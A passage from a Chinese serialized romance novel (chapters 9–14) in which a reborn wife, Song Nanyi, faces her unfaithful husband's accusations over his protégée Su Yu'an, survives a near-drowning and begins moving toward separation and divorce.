他会带她去世界上最顶级的珠宝拍卖会,为她一掷千金,博她一笑。
前世。
霍时序也带她去了,但是三人行,苏语安也在。
想到这些,宋南伊有些倒胃口。
她打了把方向,回了趟娘家。
父母工作繁忙,只有调皮的弟弟在。
前世,她和霍时序闹得最凶的时候,年仅十六岁的弟弟,挥着拳头要揍他。
那时她的脑子不太清明。
生怕弟弟会伤到身高接近一米九的男人。
就算霍时序心里已经没有她,她还是选择护着他。
宋南伊觉得对弟弟挺抱歉的。
抬手揉了揉宋星言的脑袋,“今天,怎么没去上学啊,马上要中考了,要是考不上高中,看我不收拾你。”
宋星言嘻嘻哈哈地抱住宋南伊的手臂,“姐,我肯定能考上高中的,你放心好了,不过……我现在财务告急,要不发个五十块?”
“要钱干什么?”宋南伊坐下,宋星言马上递上切好的水果,“我们班一同学过生日,我凑个分子。”
“五十块钱,能买什么?”
宋星言马上解释,“我们十个人呢,差不多能凑五百呢。”
宋家秉承着穷养儿,富养女来理念养孩子。
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尽管家境不错,但宋星言的零花钱很少,大部分外援来自于,她这个姐姐。
宋南伊怕他在外面惹事,从来不给多。
“一会儿给你。”
宋星言扑通给宋南伊跪下磕了一个,“谢主隆恩。”
宋南伊笑笑。
前世,她和霍时序结婚后,很少回娘家。
父母怕打扰她和霍时序的生活,也极少要求她常回家看看。
反倒是这个弟弟,时不时的会到家里住几天。
霍时序没有苏语安的时候,还挺疼宋星言的,后来他变心了,宋星言也连带着被嫌弃。
宋南伊呆了没多一会儿。
霍时序打来电话,说一会儿回家,有事要说。
宋南伊交代了弟弟几句后,就驱车开回了家。
走进客厅。
宋南伊并没跟霍时序打招呼。
他看向她,总觉得她怪怪的,但又说不上来。
“去哪儿了?”他问。
宋南伊一边换鞋,一边清冷地说,“回娘家了。”
“爸妈他们……身体还好吧?”
虚伪的客套,宋南伊没接,而是直接问向他,“叫我回来,是有什么急事吗?”
“过几天,就是咱们结婚三周年的纪念日了。”
宋南伊没想到他会聊这个。
淡了句,“老夫老妻了,纪念日就算了吧。”
霍时序一时诧然。
宋南伊是最注重节日的,她不允许婚姻中没有仪式感。
这次怎么……
“你到底是真的懂事了,还是说在憋着一口气,想跟我闹一次大的?”
宋南伊看向他。
心里装了别的女人的男人,无论她进或是退,都不对。
她自嘲一笑。
弯身坐到了霍时序的对面,无所谓的,“你认为什么,就是什么吧。”
他很不喜欢她的态度。
她现在变得,他都不认识了。
“你这是什么态度?不想过了?”他眉头紧拧。
这话从霍时序嘴里说出来。
宋南伊有些意外。
他比她想象的还要着急,结束这段关系。
“霍时序,我说过,如果你觉得我们之间没有爱了,大可以离婚,我不会死赖着你的。”
这话,把霍时序噎住。
他脸色明显变了。
“离婚,离婚,天天就是离婚,宋南伊,你有没有算过,从结婚到现在,你说过多少次离婚?难道,每次都要我跪下来求你不离吗?”
第9章 你给她下毒
霍时序恼了。
差一点就跟宋南伊拍了桌子。
宋南伊看向失去耐性的男人,眸底寒凉,“霍时序,结婚的时候,你说过,无论是谁的错,都是你的错,你现在是觉得自己委屈了?”
“我……”又一次被噎住。
霍时序压下脾气。
抬手解开了领口的扣子,抽了根烟,递到唇上吸着。
以前,他从不会当着宋南伊面抽烟。
宋南伊有咽炎,闻到烟味,就止不住地咳嗽。
现在也没那么在意了。
抽了两口后,霍时序便将烟卷摁灭在了,茶几上的烟灰缸里。
“这两天你准备一下,我带你去巴黎的拍卖会。”
“不了,我要出差。”宋南伊拒绝。
霍时序火气一下点燃,“你成心要跟我不痛快,是不是?宋南伊,你也不小了,少一些任性,多一些包容和大度,这很难吗?当初,是不是你说的,我们要一起度过每一年的结婚纪念日?”
宋南伊没有忘。
可那时的宋南伊爱着霍时序,霍时序也爱着宋南伊。
现在他除了不耐和烦躁,还有什么可给她的?
爱吗?
爱早已经没有了。
既然爱已经不复存在,何必还要两看生厌地去演什么恩爱夫妻。
看着霍时序失控的样子。
宋南伊突然笑了。
这世的霍时序,突然跟上一世的霍时序重叠了。
他应该是很爱苏语安。
以至于在她面前,连装都不装了。
“离了吧,霍时序。”她声调平和地说。
“你……”
霍时序气疯了,摔碎了茶几上的花瓶。
宋南伊今天刚插的花,连汤带水地碎了一地。
这时,霍家老宅打来了电话。
响了许久,霍时序这才压下气息接起,“喂,妈。”
“今天你爷爷和你爸又因为你和宋南伊生孩子的事情,吵了起来,你们过来一趟吧。”
手机外放。
宋南伊听得很清楚。
霍时序收起手机,看向她,“跟我回一趟老宅。”
……
一走进霍家老宅。
就听到了激烈的争吵声。
“你孙子那花边新闻,都快织成毛衣了,我要是南伊,也不会给他生孩子的。”
“霍时序不争气,我可以教训他,但这重孙子,必需马上给我生。”
“爸,你能不能讲讲理,他们不生,你还能摁着他们生吗?”
“难道,他想让霍家断了后?我告诉你霍明达,他们不生孩子,就是你纵容的,你这个当父亲的没有做好。”
父子两个剑拔**张。
霍时序在门口顿了顿,这才走了进去。
“爷爷,爸。”二人一起喊人。
霍明达闻言看着儿子,眉目不悦,“正好,你跟你爷爷解释一下,为什么结婚三年,还没有给他生个重孙这件事情吧。”
宋南伊看了霍明达一眼。
结婚的前两年,霍明达并没有在他们面前,催促过生孩子这事。
婆婆孙爱芸更是提都没提过。
不是他们有多么通情达理。
而是孙爱芸,压根就不喜欢宋南伊。
不喜欢的原因很简单,不是什么门第,也不是什么性格不合。
单纯的是因为霍时序,当年在追求宋南伊的时候,太卑微,卑微的她这个老母亲心疼。
她不喜欢宋南伊,并不代表,她会喜欢那个上不了台面的女人,跟霍时序生出姓霍的孩子。
所以……
最近,无论是婆家还是娘家都在催生。
宋南伊觉得可悲。
这世,她和霍时序是不可能有孩子的。
“爷爷,我们……”霍时序想解释些什么。
“你爸说,你最近的花边新闻飞上天了,有这事没有?”霍正诚天生自带威严,尤其瞪着眼睛的时候,像是庙里的罗汉。
宋南伊挺怕他的。
没敢抬眼。
霍时序没解释这事,而是说,“……我们正在备孕,应该很快就有好消息的。”
“备孕?”霍正诚重重地拍下桌子,厉声质问,“你和谁在备孕?霍时序我告诉你,咱们霍家不允许出轨这事发生,外面那些不三不四的女人,你给我离得远一点。”
“没有的事。”霍时序没承认。
转移话题重点,是霍时序擅长的事情。
宋南伊平静地看着他表演,表演他对自己的情深意重。
“爷爷,我和南伊的感情很好,重孙子,我们一定会给您生的,这事急不来,您要有点耐心。”
“再有耐心,我就入土了。”霍正诚的脸色难看。
孙爱芸出来打圆场,“爸,时序他工作忙,这怀孕的事情,得看女人,对吧?”
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>这话说完。
孙爱芸看向了宋南伊。
宋南伊没抬眸,她便收回视线,“我有个朋友,是妇产科的医生,改天,我约个号,让南伊去检查一下,您啊,就别跟他们生气了。”
“这生孩子可不是男人想生,就能生得了。”霍明达看了一眼不争气的儿子,“天天搞三搞四的,我看,某些人,早已经没有生育能力了吧。”
霍时序被说得脸色的难看。
霍明达看他这副样子,火气更盛,“怎么,我还说错你了?霍时序,你看看你现在都成什么样子了?绯闻满天飞,完全不顾及霍家的脸面,自己的脸面,更不在乎南伊的脸面,移情别恋,你还有脸了。”
“我哪有移情别恋,您就别乱猜了。”霍时序垂下脑袋。
他知道,一旦霍明达开始骂他。
霍正诚一定对他也不会口下留情。
他静静地接受长辈们的洗礼。
期间,他的手机屏幕,亮了又灭,灭了又亮。
在明明灭灭第四次后,宋南伊忍不住扫了一眼霍时序放在一旁的手机。
跟她想的差不多。
是苏语安的信息。
发的都是语音,她不知道内容。
虽然霍时序没有顶撞长辈们,随着苏语安的信息越来越多,他变得越来越烦燥和坐不住。
“你们的意思我都懂,我和南伊会努力的,我还有重要的事情,我们就先走了。”
他握起宋南伊的手,起身离开。
正在气头上的霍明达,对着他离开的背影,狠狠的摔了一个白瓷花瓶。
“爸,我看他真的是鬼迷心窍了,如果再不悔改,他的婚姻,也就到头了。”
……
从霍家老宅走出来。
霍时序先上宋南伊上了车。
他自己则拿着手机,听取手机里苏语安的信息内容。
宋南伊透过车窗,淡淡地望着他越来越紧绷的下巴,猜测着苏语安说了些什么。
撒娇?
要他去陪?
又或是……
宋南伊哂笑,她如何能猜得透他们。
听完语音。
霍时序沉着脸,弯身坐进了车里。
“语安她吃了你送去的补品,食物**,正在抢救。”他语气透着对宋南伊恶毒的不理解,“你到底在补品里放了什么东西?宋南伊,出了人命不是小事,你怎么敢的?”
第10章 欺负一个孤儿
霍时序怀疑是宋南伊下毒。
她听得好笑。
她买的补品,是从正规的商店购买的,送到医院时,也没有开封。
且不说她不会做下毒这种事情。
就算是苏语安吃了有毒的食物。
找的不应该是补品的供应商和厂家吗?
这也要怪到她头上来?
“霍时序,说话得讲证据。”她不想争辩,但也不是什么帽子,她都戴,“我为什么要给她下毒?还是说,你理所应当地认为,只要苏语安出了事情,就是我做的?”
“宋南伊。”霍时序猛地提高的音量,“她是吃了你送的补品,才**的,不是你给她下毒,难不成是我吗?”
霍时序认定的事情。
宋南伊百口莫辩。
前世,因为苏语安的事情,她还会跟他争个一二三四。
现在只觉得多余。
“既然你心里已经认定了,何必再来问我。”宋南伊推开车门下了车。
霍时序紧跟着她下车,扣住她的手腕,“宋南伊,你心虚了是不是?”
他指尖的力度加重。
宋南伊手腕处,被他掐得生疼,“霍时序,你到底要我怎样?我没有做过的事情,你何必非要强迫我承认呢?苏语安在你心里就这么重要吗?你是不是忘了,我才是你的妻子,她只不过是个孤儿。”
孤儿两个字。
刺激了霍时序的神经。
他的脸色越发的冷冽,声音几乎是吼的,“所以,你就欺负一个孤儿?”
宋南伊心脏抽痛。
她无力地扯了扯唇,“你就当我欺负她吧。”
“你……”霍时序气疯了,拽着宋南伊往车上走,“……你现在跟我去医院,看看语安的情况。”
宋南伊没有拒绝。
也拒绝不了。
夜色阑珊。
她毫无心情欣赏江城的夜景。
医院里。
苏语安被拉去洗胃。
霍时序的助理江淮,在急诊室的门口等着。
看到他们,便迎了过来。
“霍总,太太。”
霍时序上来就问,“她怎么样?没生命危险吧?医生怎么说?进去多久了?你有没有跟医生讲,让他用最好的方法治疗?”
宋南伊静静地看着霍时序,失控心疼的样子。
突然想到前世,自己为了减肥,吃了很多网红减肥小药丸。
上吐下泻。
送到医院洗胃的时候,霍时序也是像这样的,一遍一遍地向医生确认她没事。
她记得,她从急救室里出来时,他都哭了。
抱着她一遍遍地求她,不要再吃那些东西。
霍时序真的没有变。
爱的方式又或是心情,都是那样的急不可耐。
只是此刻的爱和在乎,在宋南伊的眼中,变得痛苦和讽刺。
江淮悄悄地看了宋南伊一眼,压低声音说,“霍总,医生说,洗了胃,问题不大,您别太担心。”
“我怎么能不担心呢,她还受着伤,身子又弱……”大概是意识到了自己心急失态,他缓下声音说,“……她没什么亲人了,挺可怜的,我们既然资助了她,最起码要对她负责。”
江淮只是抿抿唇。
宋南伊更是无话可说。
苏语安从急救室里出来时。
脸色苍白,人很虚弱。
看到霍时序,她还是强打着精神,挤了抹笑,“时序哥,我没事的,就是吃坏了东西,你别担心。”
“江特助,送语安回病房,先休息,我问问医生情况。”
“好的,霍总。”
霍时序跟医生在办公室里交谈的时候。
宋南伊就站在门外。
她垂着睫毛,视线落到自己无名指的钻戒上。
6.18克拉的钻石,很大很闪,数字是她的生日,霍时序用这枚钻戒求的婚。
他说很吉利,以后他们的日子会又顺又发。
她信了。
她从未想过,自己有一天会把命交代在他的手里。
那个宝宝成为她终身的遗憾,和挥之不去的噩梦。
宋南伊轻轻地将钻戒摘了下来。
刚要扔进垃圾桶,想了想,这么大的钻石,送去回收,应该也值几个钱。
便又收进了包里。
看着漂亮纤细的手指,没有戒指的点缀,却更漂亮了许多。
她转脸,透过医生办公室门上的透明玻璃,望向里面的男人。
视线下移,落到他的左手无名指上。
想必,他已经摘下婚戒很久了。
上面那道印痕,已经快要消失不见。
就像他们的婚姻,来过,又像是没来过。
霍时序跟医生了解完了病情。
沉着脸走了出来。
宋南伊没问他苏语安的病情,他也没再
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提。
只是淡淡地说,“以后再买东西时,看好保质期,免得好心成了坏意。”
宋南伊不在意。
好心也好,坏心也罢,全凭霍时序对苏语安的在乎程度。
“既然没我的事了,我就回去了。”
宋南伊转身要走,霍时序抬手握住了她的胳膊,语气也变得柔和,“一天了也没吃点东西,我们一起去吃点。”
“我不饿。”
“喝点粥也好,你胃本来就不好。”他坚持。
宋南伊抬头看他,“是不是喝完粥,我就可以回家了?”
“就这么不愿意跟我呆在一起?”
他的反问,她给不了答案。
最终。
宋南伊跟着霍时序来了医院旁边的粥店。
店铺不算高档。
又不是吃饭的时间,人并不是很多。
霍时序点了两碗粥。
一碗虾仁粥,一碗山药青菜粥。
他将山药青菜粥,放到了宋南伊的面前,“你吃素,喝这个。”
粥很香。
宋南伊苦笑,原来不在乎,就是遗忘。
“霍时序,我山药过敏。”
霍时序神色一怔,有点尴尬地将自己的是虾仁粥,换到了宋南伊的面前,“那你喝这个。”
“我不爱吃虾。”
她猜,霍时序应该是按苏语安的口味点的粥。
她将粥轻轻地推开,“你喝吧。”
“我……最近忙得有点……”霍时序找补着,起身又去点了一份蔬菜玉米粥,“……来,你喝这个。”
宋南伊望向,一眼都不肯多看她的男人。
也难为他,肯为她再去点一份。
“霍时序,等你忙完了,就冷静的考虑一下,我们离婚的事情吧。”
霍时序没抬头,轻轻地吹着勺子的粥,“怎么,有下家了?”
这种没根据的话。
听得宋南伊皱眉。
恶人先告状这词,在此时有了具像话。
“既然都不爱了,有没有下家,又有什么关系呢?”宋南伊平静得就像没有爱过一般,“我知道你在意的是,离婚给集团带来的影响,我们可以悄悄的离。”
“这事,你跟你父母讲过了?”他依然没有抬头,喝粥的频率也没有变。
宋南伊深呼一口气,“如果你也同意了,我就跟我爸妈讲一声,他们向来尊重我的意见。”
第11章 延续香火
霍时序并没有当场做出表态。
只是丢下一句,“再说吧。”
就走出了粥铺。
以宋南伊对霍时序的了解,他应该是会考虑的。
她比较偏向于和平分手。
这样会少很多的麻烦。
虽然,宋南伊说自己可以打车回去,但霍时序还是坚持要开车将她送回家。
路上。
二人无言。
比刚认识那会儿还要生分。
霍时序开车的时候,有个习惯。
只要宋南伊坐在副驾驶,他的右手,就会一直握着她的左手。
这个习惯,也不知道什么时候改了。
就像她也没有注意,他从左手握方向盘,改成了右手一样。
“既然都谈到了离婚,你也不必执着于结婚纪念日,去拍卖会这件事情了。我确实也要出差,如果你实在想去珠宝拍卖会,可以带别人过去。”
这是宋南伊临下车时,说的话。
男人没有回答。
只是眸色低垂,落到了她摘掉钻戒的无名指上。
“戒指呢?”他突然问。
宋南伊轻轻的摩挲了两下无名指,抿唇,“不知道什么时候,弄丢了。”
两个人心知肚明。
各自的婚戒,都不会再戴上了。
他眼眸深邃,“好好休息,等我忙完了,早点回来陪你。”
她抿唇一笑,转身离开。
霍时序一夜未归。
清晨。
宋南伊打着哈欠下楼。
婆婆孙爱芸,正坐在客厅的沙发里,好整以暇。
宋南伊先是一愣,旋即将睡衣系好,“妈。”
孙爱芸,看宋南伊的眼神,总是怪怪的。
嫌弃中又带着一丝嫉妒。
她很喜欢摆出当家主母的姿态来训话。
前世,宋南伊和霍时序感情好的时候,霍时序总会挡在她的面前,孙爱芸想难为她,看在儿子的面子上,也就算了。
现在不一样了。
霍时序不爱她了。
“南伊,昨天,你回老宅,也看到了,爷爷和你爸都在为你和时序生不生孩子这事,焦头烂额,我想听听你的想法。”
孙爱芸今天特意穿了一件粉色的旗袍。
从年纪上讲,她不年轻了,但是从气质和姿态上,她还是想压宋南伊一头。
宋南伊不可能跟霍时序生孩子。
这话要是当着孙爱芸的面说出来,她难免不会发疯。
既然都要离婚了,实在没必要。
“妈,生孩子这事,得看缘分。”
“结婚三年了,你们只顾着玩,把霍家开枝散叶,这么重要的事情,都抛在脑后,时序是不靠谱,你也不怎么样,时序作为家里的独子,爷爷对他寄予厚望,尤其是在生孩子这事上,恨不得你们生七个八个的,你得上点心了。”
敲打这事,孙爱芸在行。
宋南伊不想顶撞她,只是一味地违心点头,“知道了,妈。”
“南伊啊,你年纪也不小了,很多事情不用我教你。”孙爱芸递了张名片给宋南伊,“这位妇科圣手,是我的朋友,我已经帮你预约了,就在周一,你去检查一下,如果身体没有问题,就抓紧吧。”
在宋南伊看来。
生孩子这事,是两个人的事情,检查也是两个人。
挂的也是生殖健康科,而不是什么妇科。
让她自己去检查,是觉得她没有生育能力?
“妈,我身体很好。”宋南伊情绪很淡。
孙爱芸瞧着她这张漂亮却死气沉沉的脸,撇嘴嫌弃,“身体很好,也没见生个一儿半女,宋南伊,时序把你娶回来,是延续香火的,不是摆在那儿当花瓶的。”
宋南伊没说话。
那副模样就像全世界都欠她的。
孙爱芸越发地瞧她不顺眼。
但又不敢说太硬的话。
“时序在外面那些事儿,我也听说了,比起外面的女人,传宗接代这事,妈还是希望,由你来完成,毕竟在妈的心里,你才是妈的儿媳妇。”
宋南伊心口一酸。
这是打压不成,又抬举上了。
她不想耗费太多的精力,在霍家人身上,假意迎合了句,“知道了妈,我会努力的。”
“那你给妈个期限,妈也好回去向你爷爷交差。”孙爱芸得寸进尺。
宋南伊给不了时间。
就推给了霍时序,“妈,您还是问时序吧,最近他也不怎么回家。”
道理很简单。
男人不回来,她自己再怎么努力,也不可能无性繁殖。
孙爱去的脸色不好看。
但实在找不到理由,再去逼宋南伊。
离开时
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,扔了句,“我朋友的号很难约,既然已经约好了,就先去检查一下,时序那边,我也会让他抽个时间去查查的。”
“嗯。”
孙爱芸离开后。
宋南伊撕掉了那张名片,扔进了垃圾桶里。
……
几天后。
霍时序将苏语安带回了家。
她见到宋南伊,表现得还是很畏惧。
宋南伊从她的眼神里,可以看到,这里面,有一半是演的成分。
要是前世的她,铁定跑到霍时序的面前,揭发这苏语安是个装货。
结局……
她笑着摇头,结局就是她自取其辱。
现在她已经不在意了。
“南伊姐,我的病好得差不多了,你放心,我会尽其所能的,帮家里干活的,我不白吃白住。”苏语安很柔软。
总是一说话,先湿了眼眶。
这种浑然天成的柔弱,能很好地掐住霍时序的心。
没等宋南伊说话,霍时序便先开口,“你病刚好,需要静养,家里有下人,哪用得着你来干活。”
“时序哥,我没那么娇弱,小时候,我就下地干活,我能干着呢。”
她仰着小脸,冲霍时序笑着。
像是在等他夸她,多能干。
霍时序转过脸来,看向宋南伊,“明天我要出差,语安就交给你照顾。”
宋南伊没说话。
他以为她还在置气。
轻轻地将她揽进怀里,少有耐心地哄着,“还在跟我生气?我们不是说过,床头吵架,床尾合吗?”
“霍时序,我上次跟你讲过的事情,不是开玩笑,我希望你尽快做出决定。”宋南伊不得不提醒他。
霍时序脸色不好看。
但比起第一次说离婚时,明显平静了许多。
“这事,我会考虑的,但我不保证可以给你想要的结果。”他看向宋南伊的眼神很复杂,“南伊,我知道这段时间忽略你了,等我忙完……”
他的话,没讲完。
就被宋南伊打断,“没事,你忙你的,注意身体就好。”
看似关心的话。
听到霍时序的耳朵里,不是滋味。
他刚要再说些什么。
苏语安突然捂着肚子,弯下腰说,“时序哥,我肚子有点难受,我想先回房间休息可以吗?”
第12章 他是谁
“走吧,我先送你回房。”
霍时序带着苏语安离开。
宋南伊没在。
苏语安的声音更软了一些,“时序哥,你要出差几天啊?我一个人在家,怕应付不了南伊姐。”
霍时序了解以前的宋南伊,娇弱,任性,但善良。
现在……他还真看不懂她了。
“她……不会为难你。”他自己都不确定。
“我知道的,我就怕我哪里做得不好,惹南伊姐生气了……”苏语安轻轻地握着霍时序的手腕,“……时序哥,要不,你带我一起出差吧,我很乖的。”
“工作的安排很紧张,实在不……”霍时序看向苏语安期待的眸子,“……语安,你也要试着跟南伊好好相处,她这个人不坏。”
“哦。”苏语安失落的放开霍时序,旋即递出一抹让他放心的笑容,“时序哥,我会的,我总是要适应和南伊姐单独相处的日子,你就放心出差吧。”
苏语安呈现的样子,很懂事。
霍时序满意地点了点头。
回到客厅。
宋南伊正抱着电脑,在看自己工作时用的文件。
她并没有注意他过来。
他站了一会儿,有点疏离地坐到了她身旁,“最近工作挺忙吗?”
宋南伊没抬头,回他,“有个项目要签,等你出差回来,我就走。”
霍时序看着宋南伊的侧脸。
宋南伊不是事业心很重的女人,她更喜欢逛街,购物,SPA,喝下午茶。
他说过他会养她的。
现在依然作数。
“其实。你没必要那么辛苦,家里也不缺钱。”他递了张黑金卡给她,“最近没怎么收到你的消费短信,这卡你拿着,别不舍得花。”
宋南伊合上电脑。
转过脸来看向霍时序。
他挺真诚的。
但他没有搞明白,她要的是什么,他又能给什么。
“我有收入,这钱,你拿回去吧,以后用钱的地方还多呢。”
他能听懂她的言外之意。
脸色渐渐变得难看。
“南伊,你现在真有点不识……”好歹没说出来,但情绪来了,他将卡扔到桌面上,“……我不希望你一时冲动,做出错误的决定,我们可以把话聊开。”
宋南伊笑笑。
难得,霍时序肯拿出时间来谈两个人之间的事情。
但,如果聊的不是离婚,她宁愿现在就去睡觉。
“霍时序,我不是一时冲动,我已经想得很清楚,我们之间没有爱了,在一起生活,只是互相的折磨,不如放手,我们各自安好。”
他沉默着。
时间很久,久到宋南伊困得打了个哈欠。
他才抬眸看向她,“他是谁?”
宋南伊微愣。
轻笑,“你非得搞一个不存在的人出来吗?”
那这样,就没有谈下去的必要。
“语安生日那天,我看到陆为谦跟你聊了很久。”他抬眸如墨,冷漠中又透着嫉妒,“我看过监控了,他挺担心你的。”
陆为谦是霍时序的发小。
霍时序现在怀疑到了自己最好的朋友身上。
这是令宋南伊没有想到的。
人怎么可以无耻到这种地步。
明明变了心是他。
明明先不爱的人是他。
他也要把这脏水泼到她的身上。
宋南伊失望极了。
曾经爱过的男人,竟然这般的卑鄙。
“你怀疑我和陆为谦有不可告人的关系,大可以把他叫过来,当面对质。”
“我只是说,他挺关心你的,你在心虚什么?”霍时序嘲笑着,抽了根烟递到唇上,“南伊,我们的婚姻中牵扯的东西太多,我不希望有变动。”
他摁灭了手中的烟卷。
大手握住了女人纤瘦的腰,凑得很近,“是不是最近好久没做了,心情不好?”
他口中的薄荷烟味。
令她不适。
以前他从不当着她的面抽烟。
这已经是第二次了。
宋南伊轻轻地推开他,抱起电脑起身,“早点休息吧,我先睡了。”
不欢而散。
同床异梦。
霍时序出差这几天。
宋南伊通常一早就去工作室,傍晚才回来。
她不愿意见到苏语安,想必苏语安也不愿意见到她。
这晚。
她坐在游泳池边,发呆。
“南伊姐。”苏语安披着浴巾,走过来,“你也要游泳吗?”
宋南伊冷声:“我不会游泳。”
“其实我也不会,不过,我喜欢水,湿湿脚也挺好的。”
苏语安在宋南伊身旁不远,坐了下来。
她的脚在泳池的水中荡啊荡的。
荡的苏语安眼花。
“你们怎么认识的?”宋南伊突然好奇,前世
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她不知道的事情,“我是说,在霍时序介绍你给我之前,你们是不是已经认识很久了?”
苏语安没有料到宋南伊会问这个。
吱吱唔唔了半晌,才轻轻地说,“我们认识……就跟他讲的一样,是救援的时候,时间差不多是……慈善晚宴之前的半年,时序哥他可怜我,经常看望我……”
苏语安依旧是一副小可怜的模样,“……南伊姐,你别误会。”
也就是说,前世,从他们认识,到她送苏语安离开江城,差不多已经相处了一年多的时间。
正是爱的最浓最烈的时候。
也难怪,他会那样地报复她。
“你喜欢他吗?”宋南伊又问。
苏语安像受了惊吓一般地摆手,“南伊姐,我怎么可能喜欢时序哥呢,我只是当他是我的亲哥哥,我们不是那样的关系。”
苏语安没承认。
宋南伊也没信。
起风了。
宋南伊准备离开。
她刚站起来,苏语安也跟着站了起来。
“南伊姐……”苏语安不知道想说什么,转身太急,身子失去平衡,手在空中乱抓了几下,人就歪歪扭扭地冲着泳池扎了下去。
宋南伊本能地想去抓住她。
人倒是抓住了,连带着她也跟着掉进泳池里去了。
苏语安挣扎着求救,不停地将宋南伊往水里摁。
沉了水的人,力气都在求生上,宋南伊被苏语安摁得根本出不了水面,只能在水底挣扎。
“救命……”
“救命啊……”
“救……命……”
霍时序闻声,不顾一切地跳进了泳池里。
不出意外地,他游向了苏语安。
慢慢往水底沉的宋南伊,眼底是冰凉的泪水。
前世结婚后,她和霍时序经常在这个泳池里玩耍。
每每霍时序要教她游泳的时候,她总会搂着他的脖子问,“时序,如果我发生了意外,你会不会第一时间救我?”
他会毫不犹豫地回答她,“当然会,你是我的命。”
可现在呢,他已经不再是以前那个,爱她如命的霍时序了。
眼睛在水中流出泪来。
宋南伊越沉越深,慢慢地失去意识。
霍时序将苏语安抱到岸上后,这才折身去救宋南伊。
他潜到水底,将她的腰抱住,往上游,“南伊,南伊……”
第13章 分居
两个女人都被送去了医院。
宋南伊呛进去水多,但她的体质好,救过来后,身体并没有受到太大的影响。
裴吟来看她,眼眶很红,“怎么搞的嘛,怎么还溺水了?不会游泳就不要去有水的地方,你可真够让人操心的。”
“意外。”她苦涩。
裴吟哽咽中掺着生气,“这个霍时序也够不是东西的,不在这儿照顾你,去陪那个小三去了,离,马上跟他离,真是给他脸了。”
“他现在爱的是苏语安。”宋南伊虚弱地笑了笑,“是要离的,不要去计较了。”
哪是裴吟要计较。
是霍时序太欺负人了。
这是宋南伊运气好,没被淹死。
要淹**,他倒是不费一分一毫的力气,就可以丧偶再娶。
她替宋南伊咽不下这口气。
“他同意离婚了吗?”
宋南伊摇头,“还没。”
“他到底想怎样嘛?一边搞破鞋,一边耗着原配,人这一撇一捺,他真是一个都不占。”
宋南伊眼眸微黯。
前世,他在产床上放弃了她。
这一世,他在溺水中,选择了先去救苏语安。
两世的寒心,令她粉身碎骨。
这男人,说什么也不能要了。
“裴吟,你替我催一下连律师,让她尽快起草离婚协议吧,还有就是……”以目前来说,霍时序不可能跟她和平离婚,“……连离婚诉状和财产分割也要起草一下,我要做好打持久战的准备。”
“我会跟她讲的,你就好好的养身体。”裴吟心疼宋南伊。
宋南伊时常觉得,对不起裴吟。
结婚前,裴吟说霍时序不值得嫁。
她便跟裴吟绝交了三年,“裴吟,你还怪我吗?”
“怪你什么?怪你恋爱癌晚期?”作为最好的闺蜜,裴吟提醒过很多次霍时序不是良人,她没听进去,现在遭了罪,她哪里又忍心怪,“吃了这个亏,也未必不是好事,至少你以后还有选择的机会。”
作为清醒卦的闺蜜。
她更希望,宋南伊不要再被霍时序三言两语地哄回去。
“南伊,你这次真的下定决心了吗?还是说,你们之间,其实还有转圜的余地?”
“我们之间……”宋南伊知道裴吟担心什么,“……没有可能了,婚一定是要离的,就是过程可能不会很顺利。”
宋南伊的态度,令裴吟也放下了心。
“那你就放心吧,我一定会帮你的,连芃也会的,我们一起努力。”
宋南伊点头。
从黑暗里走出来,首先要有面对阳光的勇气。
她知道这不是一件容易的事情。
无爱破情局,无情破全局。
她心已死。
裴吟离开后,宋南伊睡了一小觉。
醒来时,霍时序正坐在她的病床边,一瞬不瞬地看着她。
“醒了?”
宋南伊撑着身子,坐了起来,“嗯。”
“你为什么要把语安推下泳池?”
他的眼中没有感情,没有对她病情的关怀,只有咄咄逼人的质问。
宋南伊轻哂,“你哪只眼睛,看到是我,把她推下的泳池?是她跟你讲的?”
“监控我看过了,是非对错,一目了然。”
“我看你眼睛,可以不要了。”宋南伊毫不客气地回击他。
从天下谁错了,她宋南伊都不可能错,变成了现在,无论发生什么,都是她的错。
霍时序早已经不是那个霍时序。
宋南伊除了失望,还是失望。
“告诉我为什么?南伊,你告诉我,为什么就是容不下,一个可怜的女孩子呢?她又碍不着你什么,她那么卑微,那么体贴,那么懂事,为什么,你要处处针对她?”
好像自从苏语安出现后。
他问得她最多的就是,为什么?
为什么,她不懂事,为什么她不大度,为什么她不善良,为什么她要斤斤计较。
宋南伊不知道,到底什么样的答案才是霍时序想要的。
明明,她已经睁一只眼,闭一只眼了。
明明,她已经不在乎,他们在一起干什么。
他还在这样地逼她。
宋南伊垂下睫毛,遮住眼底的破碎和伤感。
心死后,她确实没前世那么难过了。
她只是心疼自己。
当初是怎样的眼瞎,选了这么一个男人。
“霍时序,如果你真的那么心疼苏语安,不如,你娶了她?”她眼底是一片讥讽。
霍时序如墨般的
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眸子,冷睨着她发怒,“宋南伊,你到底什么意思?”
“我打听过了,离婚前期,可以先分居,霍时序,我们分开一段时间吧。”宋南伊不想再这样没完没了地吵下去。
前世,她和霍时序吵过太多了。
她本以为,这世不会重蹈覆辙。
还是没躲过。
“你好好照顾你的语安,我出院后,会搬出去住。”
她不是跟他商量,只是简单的通知。
她知道他不会接受她的安排。
霍时序有气没地出,出门的时候,狠狠地踢翻了病床边的垃圾筒。
住院七天。
霍时序没再来看望过她。
出院是裴吟来接的她。
“裴吟,我想跟霍时序分居,又不想让我爸妈,跟着操心,我可不可以去你家住段时间?”宋南伊其实也不想麻烦裴吟,“等我租到合适的房子,我就搬走。”
裴吟看了宋南伊一眼,拎起她的东西,“租什么房子,就在我家住,跟从前一样。”
“那会不会太麻烦了。”宋南伊小碎步的跟在裴吟身后,往外走,“我可以付房租。”
“行啊,一月一亿,只要你付得起。”
宋南伊挽上裴吟的手臂,笑着摇头,“付不起,真付不起。”
“那就乖乖地住着。”她宠溺地捏了捏她的鼻尖。
……
霍时序带苏语安回家时。
只有路姐,靠在椅子上打瞌睡。
他咳嗽了一声。
路姐这才发现有人进来,“先生,您回来了。”
“太太呢?”
“太太她……不是住院了吗?”
宋南伊没回来?
她回娘家了?
以他对宋南伊的了解,她如果回了娘家,宋家人早就电话打了过来,问情况了。
没回娘家,也没有回家。
去哪儿了?
霍时序拿起手机,给宋南伊打了个电话。
宋南伊没接。
“时序哥,南伊姐是不是生气了?都怪我,身子弱,你总是在为我跑前跑后的,忽略了她,南伊姐一定是误会了,我去跟她解释一下吧。”
苏语安一副自责的模样。
男人肃着脸,“你休息吧,我出去一趟。”
霍时序开车出了门。
第14章 你在威胁我
裴吟家。
宋南伊拿了包,准备去一趟安佛寺。
前世,父亲因为她和霍时序婚姻出现问题,心脏病病危了几次。
她觉得自己挺不孝的。
今天是公开礼佛日,她想去为家人祈福。
从裴吟家去安佛寺,会经过她和霍时序的家。
